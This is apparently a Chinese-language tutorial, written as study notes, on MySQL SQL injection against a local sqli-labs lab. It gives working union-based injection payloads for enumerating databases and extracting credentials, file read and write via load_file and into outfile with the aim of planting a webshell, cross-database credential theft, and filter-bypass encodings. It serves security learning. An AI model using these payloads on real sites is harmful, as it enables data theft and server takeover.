环境准备
sql-lib
z-blog
phpstudy
Navicat Premium 16
hackbar插件
这里就不演示搭建了,本身这类教程比较多。不过我们要注意的是将服务装在不同的端口,开在同一个地址上,方便完成后边的操作。
看到数据库账号密码
为了方便理解,这里将sql语句进行输出。
为了更好理解,这里加一个flag
SQL知识点
PHP-MYSQL-SQL注入-常规查询
PHP-MYSQL-SQL注入-跨库查询
PHP-MYSQL-SQL注入-文件读写
sql-注入天书(对sql-lib专门的学习)
项目案例
MYSQL-Web组成架构
#PHP-MYSQL-Web组成架构
服务器安装MYSQL数据库,搭建多个站点,数据库集中存储MYSQL数据库中管理
可以都使用root用户管理也可以创建多个用户进行每个网站对应的数据库管理
mysql里面有内置的管理用户,其中root就是默认数据库管理员用户
网站上面的数据库都在mysql中,由root或一对一用户去管理
1、统一交root用户管理
www.zblog.com = zblog = root =>MYSQL
www.demo01.com = demo01 = root =>MYSQL
2、一对一用户管理(推荐)
www.zblog.com = zblog = zblog =>MYSQL
www.demo01.com = demo01 = demo01 =>MYSQL
//也就是遵循最小权限原则,这里就意味着部分开发可能会偷懒,直接从root权限上操作。
1、统一root用户管理
启动php,使用root权限,那么将会看到所有的数据库。
架构
mysql
root(自带默认)
网站A testA
网站B testB
2、一对一用户管理(推荐)
如果使用的是注册的数据库用户,那么只会看见本身自己一个的数据库
架构
mysql
testA用户
网站A testA
testb用户
网站B testB
MYSQL-SQL常规查询
MYSQL-SQL常规查询
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看是否符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
order by 6
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin'
union select 1,2,3,username,password,6 from admin limit 0,1
mysql基础认识
这个是从界面化查看的
MYSQL5.0以上版本:自带的数据库名information_schema,里面存放了所有的数据映射内容,这个下边会重点讲
mysql基础操作
从命令行查看,进入到bin目录下
在终端中打开
在命令行中输入mysql -u root -p,回车后输入密码
show databases;–查看所有数据库
进入security数据库
use security;
查看security数据库里的表
show tables;
查看security数据库里的users表里面的信息
select * from users;
查看security数据库里的users表里面的username的字段的信息
select username from users;
查看security数据库里的users表里面的username字段和id字段的信息
select id,username from users;
查看security数据库里的users表里面的username字段
和id字段
的admin
信息
由于个人精力有限,这里就不操作增加/修改/删除的操作了。
这里增加一个flag来表示一下
information_schema库!!!
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
//.的意思是下一级
//后边的注入是结合这个来进行操作的
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
这边不知道为什么没有同步到root中,只好连接到security中去运行
SQL注入
#一个攻击流程
and 1=1
and 1=2
order by 1
...
-1 order by 4
-1 union select 1,2,3 #
-1 union select 1,database(),user() #
-1 union select 1,version(),@@version_compile_os #
-1 union select 1,database(),3 #
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
-1 union select 1,flag,3 from flag #
判断注入
and 1=1
http://192.168.5.1:81/Less-2/index.php?id=1 and 1=1 //页面正常显示
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 //SQL语句 1=1 恒等于 ,所以页面正常显示
and 1=2
http://192.168.5.1:81/Less-2/index.php?id=1 and 1=2 //页面没有显示
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 //1!=2 不等于,是错误输出,所以页面没有显示
判断字段
经过上边的测试,会发现sql语句被正常执行了,存在注入。使用order by
http://192.168.5.1:81/Less-2/index.php?id=1 order by 1 //页面正常显示
SELECT * FROM users WHERE id=1 order by 1 LIMIT 0,1 //sql语句
http://192.168.5.1:81/Less-2/index.php?id=1 order by 2 //页面正常显示
SELECT * FROM users WHERE id=1 order by 2 LIMIT 0,1 //sql语句
http://192.168.5.1:81/Less-2/index.php?id=1 order by 3 //页面正常显示
SELECT * FROM users WHERE id=1 order by 3 LIMIT 0,1 //sql语句
http://192.168.5.1:81/Less-2/index.php?id=1 order by 4 //页面异常显示
SELECT * FROM users WHERE id=1 order by 4 LIMIT 0,1 Unknown column '4' in 'order clause' //sql语句,提示没有第4个字段,也就是这个有3个字段
判断回显位置-union联合注入
#号是注释后边的语句,防止后边语句进行干扰
这里的参数传入的-1,要一个不存在的负值即可,当然也有其他的写法。只有这样才满足union的用法。
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,2,3 # //页面显示2,3。证明有回显的位置。
SELECT * FROM users WHERE id=-1 union select 1,2,3 LIMIT 0,1 //sql语句查找1,2,3并显示在页面上
不只是-1,例如-100,65536
查看相关信息
database() user() version() @@version_compile_os
http://192.168.5.1:81/Less-2/index.php?id=65536 union select 1,database(),user() #
//相关信息输出
SELECT * FROM users WHERE id=65536 union select 1,database(),user() LIMIT 0,1
//sql语句
http://192.168.5.1:81/Less-2/index.php?id=65536 union select 1,version(),@@version_compile_os #
//相关信息输出
SELECT * FROM users WHERE id=65536 union select 1,version(),@@version_compile_os LIMIT 0,1
//拿到相关信息
version()-》5.5.29 @@version_compile_os-》Win64
database()-》security user()-》root@localhost
查看库
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,database(),3 #
//得到数据库库名:security
SELECT * FROM users WHERE id=-1 union select 1,database(),3 LIMIT 0,1
看存不存在其他库(实战中有可能会有其他的库)
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
查看表
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security'#
//查看表,此时只有一个表。使用group_concat()可以一次显示全部表
SELECT * FROM users WHERE id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 0,1
//sql语句,查询了information_schema下tables表里里关于security的内容。拿到了关于security的表
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#
//使用group_concat()显示全部表。
//查看表得到数据库表名:
//emails,flag,referers,uagents,users
SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' LIMIT 0,1
//sql语句
查看字段名
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#
//得到字段名flag
SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' LIMIT 0,1
//sql语句
查看字段数据
拿到flag
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,flag,3 from flag #
//得到字段内的数据值
SELECT * FROM users WHERE id=-1 union select 1,flag,3 from flag LIMIT 0,1
//sql语句
这个学习完成后,回头再看一下information_schema这个库内容,仔细对比一下,会恍然大悟啊
MYSQL-SQL文件读写
环境配置
在F盘新建test.txt
需要root权限,这边改成root的。
1、数据库用户权限
需要root权限
2、secure-file-priv设置
show VARIABLES like '%secure%'
显示的secure-file-priv必须为空,如果有位置指定,那么只能读取相关的位置的文件
3.读取/上传文件
union select 1,load_file('F:\\test.txt'),3 //读取F盘下的test.txt
union select 1,'whoami',3,4,5,6 into outfile 'F:\\hello.txt' //上传到D盘2.txt
如果知道网站路径,直接写到网站下搞个木马就完了
1、报错显示获取路径
2、phpinfo页面泄漏
3、利用常见的默认的中间件,数据库等安装路径读取有价值信息
一些演示
以下都是root权限运行的
本地进行查看,可以看到有18个字节
使用load_file读取了F盘下的test
假设我们知道了网站的绝对路径,那么我们用into outfile写入木马到网站
union select 1,''whoami',3 into outfile 'F:\\hello.txt'
这里环境搭建有问题。
在本地连接的数据库里就可以执行。
这边尝试修改到指定的security的数据库
如果我们知道网站的路径,就可以在下边写一个木马,然后进行连接了
使用中国蚁剑可以进行后续操作,这边不再演示。
MYSQL-SQL跨库查询
当前数据库ROOT用户权限
(有权限去找其他的数据库)
环境问题不演示了,要知道有这个操作
跨库查询:
1、数据库统一管理(root用户)
每个网站的数据库都由root用户统一管理
网站A:192.168.5.1:80 Z-Blog
网站B:192.168.5.1:81 sql-lib
跨库注入
通过B网站的注入点获取A网站的账号密码
解决:单引号过滤绕过方式,可以使用16进制,mysql会识别
SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)
将’flag’替换为16进制,也可以执行(单引号绕过了)
一些奇奇怪怪的可执行
替换空格-进行编码
替换空格 +,%0a,%0c,%0d (在–%a- 可能会失效,但是%0b,%0c,%0d都可以)
http://192.168.5.1:81/Less-2/index.php?id=65536%0cor%0c1=2--%0c-
替换注释符-其他方式
#/-- -/--+
http://192.168.5.1:81/Less-2/index.php?id=1%0dorder%0dby%0d4--+
http://192.168.5.1:81/Less-2/index.php?id=1%0corder%0cby%0c4--%0c-
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0aselect%0a1,2,3--%0d-
http://192.168.5.1:81/Less-2/index.php?id=65535%0cunion%0cselect%0c1,2,3--%0c-
http://192.168.5.1:81/Less-2/index.php?id=65535%0aunion%0aselect%0a1,2,3--%0b-
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0aselect%0a1,version(),user()--%0d-
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0aselect%0a1,version(),user()--+
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0dselect%0d1,group_concat(schema_name),3%0dfrom%0dinformation_schema.schemata
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0dselect%0d1,group_concat(table_name),3%0dfrom%0dinformation_schema.tables%0dwhere%0dtable_schema='security'--%0b-
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0dselect%0d1,group_concat(column_name),3%0dfrom%0dinformation_schema.columns%0dwhere%0dtable_schema='security'%0dand%0dtable_name='flag'--%0b-
http://192.168.5.1:81/Less-2/index.php?id=65535%0dunion%0dselect%0d1,flag,3%0dfrom%0dflag%0d--%0d-
替换单引号-16进制绕过
比较尴尬,这个是替换单引号的。
将单引号删除,用16进制替换security
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
http://192.168.5.1:81/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479
这里转16进制,一定要去掉单引号!!并在生成前边加上0x参数